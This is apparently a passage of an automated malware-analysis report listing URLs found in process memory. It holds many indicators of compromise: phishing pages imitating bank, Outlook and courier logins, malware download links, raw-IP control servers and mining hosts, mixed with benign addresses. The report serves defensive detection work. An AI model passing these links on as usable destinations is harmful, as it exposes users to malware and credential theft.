        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://xinblasta.us/cj/siyrhz.doc
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://xisake.biz/control/
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://xml.fiestappc.com/feed.php?aid=
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://xmr-services.com/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://xmr.enjoytopic.tk
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://xn----9sblbqqdv0a5a8fwb.xn--p1ai/includes/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://xn----dtbhbqh9ajceeeg2m.org/components
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://xn---82-qdd0akcfirgv4j.xn--p1ai/ups-ship-notification/mar-13-18-07-06-38/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://xpressdelivery.ga/guangzhou/guangzhou2.html)
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://xuanbbs.net/bbs
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://xupaeudenovo.net/net.jsp
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://xvive.com/twiki/b.txt
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://xwjhdjylqeypyltby.ml/liverpool-fc-news/features/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://xx.522love.cn/tool/down
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://xxx.llxxcx.cn/pv.htmwidth=0name=
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://xxx.llxxcx.cn/wm.htmwidth=0name=
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://xxxxxxxxx9:8618/client/android/a.apk
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://xy2.eu/e8ar
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://xy2.eu/e8he
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://xy2.eu/e8qq
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://xy2.eu/e8u9
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://xy2.eu/e9yp
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://xy2.eu/ecpx
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://xzqpl.chujz.com/l14.gif
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://xzsite.chujz.com/soft/ad.html
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://yamaofficial.com/rxuczm/3415201.png
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://yantarbereg.ru/goodl.js
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://yasovetn1k.ru/files/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://yawaop.com/anna.doc
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://yc.book.sohu.com/series_list.php?select=1&text=%s
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://ydlevents.com.my/www/ucountredeem/php/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://yeabests.cc
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://ygsondheks.info/c/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://yobe.me?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://yoga-berry.com?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://yotaset.ddns.net/yota.dot
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://your_updater.com/privacy-policyso.html
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://youssef-tawil.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://ys.cn.yahoo.com/mohu/index.html?p=%s
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://yuksekovabali.com/rgvtr6wcaw2yyy6pkz6qvrj6)
        Source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmpString found in binary or memory: http://yupsearch.com
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://yy.web1000wip.com:4567/bnb/css.js
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://z1.nf-2.net/512.txt
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://z360.net/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://z7v8.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: http://zaxarstore2.com/download.php
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://zero.allgreathost.com
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://zero.bestmanage1.org
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://zero.bestmanage2.org
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://zero.bestmanage3.org
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://zero.sisdotnet.com
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://zero.xujace.com
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpString found in binary or memory: http://zhsh.j.nj.twsapp.com
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://zief.pl/rc/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://zigyyt.com/trix.exe
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://zillot.kz/System/mysql/users.php
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://zilmaraalencar.com.br/layouts/plugins/editors/tinymce/field/zzurphy.php
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://zistiran.com/invoice-for-you/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://zr.webhop.org:1337
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://zsnews.zhongsou.com/zsnews.cgi?tps=3&agent=%s&word=
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://zsxz.zhongsou.com/route/
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://zxtenrnewlaunchinworldwide.mangospot.net/.-..................................................
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://zz.8282.space/nw/ss/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: https://%s/ews/exchange.asmx
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: https://%s/owa/auth.owa
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: https://%s/owa/lang.owa
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://%s/owa/meetingpollhandler.ashx
        Source: MpSigStub.exe, 00000023.00000003.18283887577.0000015B1A84E000.00000004.00000001.sdmpString found in binary or memory: https://%s/si.jsp
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: https://09e26c1d.ngrok.io/exploit/jprotected.exe
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://0utl00k.net/docs
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://107.151.152.220:5658
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://1361227624.rsc.cdn77.org/v2/p2r.php?
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://145855projectframingltd-my.sharepoint.com/:b:/g/personal/jan_projectframing_com/evmq9_ggpulc
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://1591523753.rsc.cdn77.org/p2r.php?
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://179.43.134.164:443
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://185.118.167.189:44
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: https://185.180.199.102/
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: https://1876479389.rsc.cdn77.org/p2r.php
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://193.29.15.147
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://23.95.238.122:443
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://2no.co/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: https://2no.co/1spk97.gif
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: https://42801.weebly.com/uploads/
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: https://645tgvew.gb.net/gtrfeef3r/?wv54544f=gv445g5g55
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: https://7college.du.ac.bd/upload/mukrimul/0/beans.php
        Source: RegAsm.exe, 00000008.00000002.21904829624.000000001E502000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000003.18554731304.000000001D0B1000.00000004.00000001.sdmpString found in binary or memory: https://L28jr6eoUX1h4b48w.com
        Source: RegAsm.exe, 00000008.00000002.21904829624.000000001E502000.00000004.00000001.sdmpString found in binary or memory: https://L28jr6eoUX1h4b48w.com(6%
        Source: RegAsm.exe, 00000008.00000002.21904829624.000000001E502000.00000004.00000001.sdmpString found in binary or memory: https://L28jr6eoUX1h4b48w.comt-
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: https://a.doko.moe/uvjwpr.sct
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://a.pomf.cat/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://a.pomfe.co/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: https://a.top4top.net/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://a12.aioecoin
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: https://a12.aioecoin.org/609710d5b915bc7
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: https://aamilah.co.uk/ds/0302.gif
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://ab.v-mail.online/?e=
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: https://ab.v-mail.online/?e=jhusic
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://abbeyfiechestere.ru/asdf/?_truthcolor=?dramafrine
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: https://abiesalamat.com/wp-brent/toolzlord.php
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: https://abpandh.com/drms/fert.html
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: https://abpnco.com/naywplqm/04.html
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: https://account.qq.com/cgi-bin/auth_forget
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: https://accounts-c153b9bqxw.com
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://accounts.google.com/o/oauth2/auth
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: https://accounts.google.com/o/oauth2/token
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://activate.utorrent.com
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://addledsteamb.xyz/BAYgODA0NUQ2OEY1RTA2ODg4RDhCQzlEQzRBRUU3QTA5OUI=
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://addledsteamb.xyz/baygoda0nuq2oey1rta2odg4rdhcqzleqzrbruu3qta5oui=
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://adegt.com/wp-includes/sodium_co
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: https://adop109.000webhostapp.com/index.html
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: https://adverts-pistonheads.com/poste/action.php
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: https://aframe.io/releases/0.7.1/aframe.min.js
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: https://agent.wizztrakys.com/a_
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: https://agilefield53.com/rb/excelzz/index.php
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: https://ahtaeereddit.org
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: https://ajcbhjehkbf.25u.com/rom/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://ajdepehlisale.gb.net/document.php
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://alexdepase.coach/wp-admin/Ic4ZVsh/
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: https://allcityroofers.com/wp-admin/spf/hnr/tap.php
        Source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://alpha.com/epicapp/createnode?affiliateId=%s&subId=%s
        Source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://alpha.com/epicapp/createnode?affiliateId=%s&subId=%sxe
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://alpine.kz/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://alwaslapps.com/attachment/attach.php
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: https://am.localstormwatch00.localstormw
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: https://amigosforever.net/d/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://andyscars.co.uk/signedz/index.html)
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://angel.ac.nz/wp-content/uploads/2019/10/THEBRKMZ.ocx
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://anhii.com/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: https://ankiitpatel.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://anonfiles.com/
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: https://anspa.dyndns.dk/dr1/next.php
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://antarbryansk.ru/asdf/?_truthcolor=?dramafrine
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: https://aouscchakwal.000webhostapp.com/hot.phpmethod=
        Source: MpSigStub.exe, 00000023.00000003.18286537046.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: https://api.edgelauncher.com
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: https://api.github.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://api.imgur.com/3/upload.xml
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: https://api.ipify.org/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://api.l33tsite.info/lib/
        Source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmpString found in binary or memory: https://api.tdameritrade.com/v1/accounts
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: https://api.telegram.org/bot
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://api.telegram.org/bot%telegramapi%/
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: https://app.box.com/s/q5bvxbs72948q6t7n5nrft0lnuddkj7g
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: https://appengine.google.com/_ah/logout?continue=http
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://apps-newsorders.servehttp.com/_
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://apps-nosmile.servehttp.com/_
        Source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmpString found in binary or memory: https://appupdate.herokuapp.com
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://archaeology.ideaschema.com/hiwork.php
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: https://armybar.hopto.org/remoteload.dotm
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: https://userkade.com/21.psd
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: https://arti-insaat.com/wp-includes/rest-api/report-dh1.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://asgvprotecao.com.br/wa_php/clZ&LpN-omp/klbd5vxr6mf38o/YxSlZ&LpN-slZ&LpN-9udRlZ&LpN-8U.plZ&Lp
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: https://asianbusss.ru/qazx/?activity=4789652
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: https://asushotfix.com/.
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: https://atacamaplotter.cl/wp-includes/fonts/reportpdfnew.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: https://atalent.fi/avoimet-tyopaikat
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: https://ate.bz/now.php
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: https://atencionpreferente.com/crm/custom/reportdhlnew.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://attack.mitre.org
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: https://auth-server4.xyz/processor.php
        Source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmpString found in binary or memory: https://auth.tdameritrade.com/auth?response_type=code&redirect_uri=
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://authedmine.com/lib/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: https://autobusinessfunnel.com/wp-admin/css/colors/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: https://avanajewelry.com/dddsedologhfmkj/aabbbygtvjjytgfxjhmgncgi%20in%20_forma.php
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: https://avart.org/hdhdhk/xls/index.php?
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: https://azur.melhordev.com/.well-known/acme-challenge/std/php/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://b.top4top.io/p_15665ejq60.jpg
        Source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmpString found in binary or memory: https://bankline.itau.com.br/
        Source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://bankline.itau.com.br/GRIPNET/bklcgi.exe
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://bankss-71.ml/2.dll
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: https://batc.dyndns.dk/minto3/next.php
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://bb.realestateprivateportfolio.com/img/
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: https://bbcgroup.co.in/qpipsriug.php
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: https://beer.appi.top/?74c96ea1gmz9qipluhdvtw6q7ekn6e0upb
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: https://beetibutron.xyz/rowdy/brand.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://behendige-boxers.nl/ds/0902.gif
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: https://bemojo.com/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: https://benabase.com/cgi_bin/amvzdxmuc3vhcmv6qhzvbg90zweuy29t
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: https://benchlings.com/
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: https://benchlings.com/xoxo/next.php
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: https://berlitzalahsa.sa/sport/rockstar.php
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: https://besthybridcar.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: https://bigup.marketing/wp-content/plugins/seo_index/hloym4kndci.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: https://bipblocker.com/get_config/
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: https://bit.ly
